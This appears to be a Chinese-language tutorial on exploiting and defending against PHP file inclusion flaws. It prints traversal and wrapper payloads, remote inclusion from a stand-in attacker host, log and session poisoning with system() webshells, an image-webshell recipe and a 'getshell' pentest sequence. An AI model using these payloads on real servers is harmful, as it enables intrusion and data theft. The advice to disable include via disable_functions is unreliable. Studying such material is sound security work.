文件包含详解

基础概念

漏洞原理

文件包含漏洞是指程序把用户可控的路径直接拼接到include、require等函数中,导致攻击者可以加载任意文件。

危险函数

PHP中有四个文件包含函数:

1
2
3
4
include()       // 包含文件,如果失败只产生警告,脚本继续执行
include_once() // 包含文件,只包含一次,避免重复包含
require() // 包含文件,如果失败产生致命错误,脚本停止执行
require_once() // 包含文件,只包含一次,失败产生致命错误

典型漏洞代码

1
2
3
4
<?php
$page = $_GET['page'];
include($page);
?>

攻击者可以通过控制page参数来包含任意文件。

文件包含分类

本地文件包含(LFI)

攻击者包含服务器本地文件。

利用示例:

1
2
3
?page=../../../../etc/passwd
?page=./config.php
?page=/var/www/html/index.php

利用点:

  • 读取敏感文件(配置文件、数据库密码等)
  • 包含日志文件执行代码
  • 包含session文件
  • 配合文件上传getshell

远程文件包含(RFI)

服务器允许包含远程URL文件。

利用示例:

1
2
?page=http://attacker.com/shell.txt
?page=http://192.168.1.100/evil.php

成功条件:

1
2
allow_url_include = On
allow_url_fopen = On

注意:高版本PHP默认关闭allow_url_include,RFI利用难度较大。

LFI常见利用方式

读取敏感文件

Linux系统:

1
2
3
4
5
6
/etc/passwd           # 用户信息
/etc/shadow # 用户密码(需要root权限)
/etc/hosts # 主机名映射
/etc/apache2/apache2.conf # Apache配置
/etc/nginx/nginx.conf # Nginx配置
/proc/self/environ # 环境变量

Windows系统:

1
2
3
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\php.ini

日志文件包含

原理:将恶意PHP代码写入日志文件,然后通过文件包含执行日志中的代码。

利用步骤:

  1. 访问网站,在User-Agent中注入PHP代码
  2. 包含日志文件
  3. 执行代码

示例:

首先访问网站,在User-Agent中写入:

1
User-Agent: <?php system($_GET['cmd']); ?>

然后包含日志文件:

1
2
?page=/var/log/apache2/access.log&cmd=id
?page=/var/log/nginx/access.log&cmd=whoami

前提条件:

  • 日志文件可读
  • 有文件包含漏洞
  • 日志路径可猜测

SSH日志投毒

利用步骤:

  1. 使用SSH连接目标服务器,用户名中包含恶意代码
  2. 包含SSH认证日志
  3. 执行代码

示例:

1
ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.100

然后包含日志:

1
?page=/var/log/auth.log&cmd=id

Session文件包含

**原理:**PHP session默认保存在文件中,攻击者可以在session中写入恶意代码,然后包含session文件。

Session默认路径:

1
2
3
/tmp/sess_xxxxxx
/var/lib/php/sessions/sess_xxxxxx
C:\Windows\Temp\sess_xxxxxx

攻击流程:

  1. 在session中写入恶意代码
  2. 包含session文件
  3. 执行代码

示例:

首先访问网站,在Cookie中设置PHPSESSID=test,然后在某个页面写入session:

1
$_SESSION['cmd'] = '<?php system($_GET["c"]); ?>';

然后包含session:

1
?page=/tmp/sess_test&c=whoami

session.upload_progress利用

原理:PHP的session.upload_progress功能默认开启,在上传文件时会将进度信息保存在session中,攻击者可以控制session内容。

利用条件:

  • session.upload_progress.enabled = On(默认开启)
  • 可以发送文件上传请求
  • Cookie中包含Session ID

利用步骤:

  1. 发送文件上传请求,包含PHP_SESSION_UPLOAD_PROGRESS字段
  2. 在该字段中写入恶意代码
  3. 条件竞争,在session被清除前包含session文件

示例数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /upload.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=test123
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

test content
------WebKitFormBoundary--

然后包含session:

1
?page=/tmp/sess_test123&cmd=whoami

文件上传+LFI

利用流程:

  1. 上传图片马(将PHP代码隐藏在图片中)
  2. 服务器保存上传文件
  3. 通过LFI包含上传的文件
  4. getshell

图片马制作:

1
2
3
4
5
# 方法1:直接追加
echo '<?php system($_GET["cmd"]); ?>' >> image.jpg

# 方法2:使用exiftool
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

利用示例:

上传图片马后,假设上传路径为/uploads/image.jpg:

1
?page=/uploads/image.jpg&cmd=whoami

phpinfo+条件竞争

**原理:**phpinfo页面会显示上传的临时文件路径,攻击者可以利用条件竞争在临时文件被删除前包含它。

利用条件:

  • 存在phpinfo页面
  • 存在文件上传功能
  • 网络条件较好

利用步骤:

  1. 发送文件上传请求到phpinfo页面
  2. 从phpinfo响应中获取临时文件名
  3. 立即发送包含请求
  4. 条件竞争成功则getshell

临时文件格式:

1
2
/tmp/phpXXXXXX
C:\Windows\Temp\phpXXXXXX

伪协议利用

php://filter

**作用:**读取文件内容并进行编码,避免直接执行PHP代码。

读取源码:

1
2
?page=php://filter/read=convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config.php

其他过滤器:

1
2
3
4
5
6
convert.base64-encode    # Base64编码
convert.base64-decode # Base64解码
string.rot13 # ROT13编码
string.toupper # 转大写
string.tolower # 转小写
string.strip_tags # 去除HTML/PHP标签

绕过死亡exit:

1
2
3
// 假设文件内容为:<?php exit; ?><?php phpinfo(); ?>
// 使用base64解码绕过
?page=php://filter/convert.base64-decode/resource=evil.php

php://input

**作用:**访问请求的原始数据,将POST数据作为PHP代码执行。

利用条件:

  • allow_url_include = On

利用示例:

请求URL:

1
?page=php://input

POST数据:

1
<?php system($_GET['cmd']); ?>

然后执行命令:

1
?cmd=whoami

data://

**作用:**直接执行数据中的PHP代码。

利用条件:

  • allow_url_include = On
  • allow_url_fopen = On

利用示例:

1
2
?page=data://text/plain,<?php system('whoami'); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

zip://

**作用:**访问压缩包中的文件。

利用示例:

1
2
?page=zip://shell.zip#shell.php
?page=zip://image.jpg%23shell.php

compress.bzip2://

**作用:**访问bzip2压缩文件。

利用示例:

1
?page=compress.bzip2://file.bz2

compress.zlib://

**作用:**访问gzip压缩文件。

利用示例:

1
?page=compress.zlib://file.gz

file://

**作用:**访问本地文件系统。

利用示例:

1
2
?page=file:///etc/passwd
?page=file:///C:/Windows/win.ini

高级绕过技巧

目录穿越绕过

基础绕过:

1
2
3
../../
../../../
../../../../

变形绕过:

1
2
3
4
....//
....\/
..../
..././

Null字节截断

原理:在PHP 5.3.4之前,%00会截断字符串。

利用示例:

1
2
?page=../../../../etc/passwd%00.php
?page=../../../../etc/passwd%00.jpg

**适用版本:**PHP < 5.3.4

长度截断

**原理:**构造超长字符串,截断后缀。

利用示例:

1
?page=../../../../etc/passwd................................................................................................................

多级软链接绕过

原理:PHP会将文件名进行resolve转换成标准绝对路径,软链接跳转次数超过上限时,lstat函数出错导致计算出的绝对路径包含软链接路径。

利用示例:

1
/proc/self/root/proc/self/root/proc/self/root/.../www/config.php

Windows通配符妙用

**原理:**PHP在读取Windows文件时使用FindFirstFileExW API,支持通配符。

通配符:

  • DOS_STAR即<,匹配0个以上的字符
  • DOS_QM即>,匹配1个字符
  • DOS_DOT即”,匹配点号

利用示例:

1
C:\Windows\Temp\php<<

PHP崩溃遗留下临时文件

**原理:**利用php://filter/string.strip_tags导致PHP进程崩溃,临时文件不会被删除。

利用条件:

  • PHP 7.0-7.19版本
  • 可以同时上传文件

利用示例:

1
?page=php://filter/string.strip_tags=/etc/passwd

实战场景应用

Docker环境

  • 日志文件包含不可行(日志重定向到/dev/stdout)
  • session.upload_progress默认可用
  • pearcmd.php默认安装
  • 利用Nginx Fastcgi临时文件

Windows环境

  • 利用通配符匹配临时文件
  • upload_tmp_dir需要设置且有写入权限

无phpinfo环境

  • 利用session.upload_progress
  • 利用php7崩溃特性
  • 利用Nginx Fastcgi临时文件
  • 利用Iconv编码构造

防御方式

代码层面

  1. 不要直接include用户输入
  2. 使用白名单机制
1
2
3
4
$allow = ['home.php', 'about.php', 'contact.php'];
if(in_array($_GET['page'], $allow)){
include($_GET['page']);
}
  1. 使用basename()过滤路径
1
2
$page = basename($_GET['page']);
include($page);

配置层面

  1. 关闭远程包含
1
2
allow_url_include = Off
allow_url_fopen = Off
  1. 设置open_basedir限制访问目录
1
open_basedir = /var/www/html/
  1. 禁用危险函数
1
disable_functions = include, include_once, require, require_once

渗透测试实战思路

第一步:测试漏洞

1
2
3
?page=1.php
?page=../../etc/passwd
?page=./config.php

第二步:读取源码

1
2
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config.php

第三步:寻找日志路径

1
2
3
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log

第四步:尝试getshell

根据环境选择合适的利用方式:

  • 日志文件包含
  • session文件包含
  • 文件上传+LFI
  • php://input
  • data://
  • session.upload_progress
  • phpinfo+条件竞争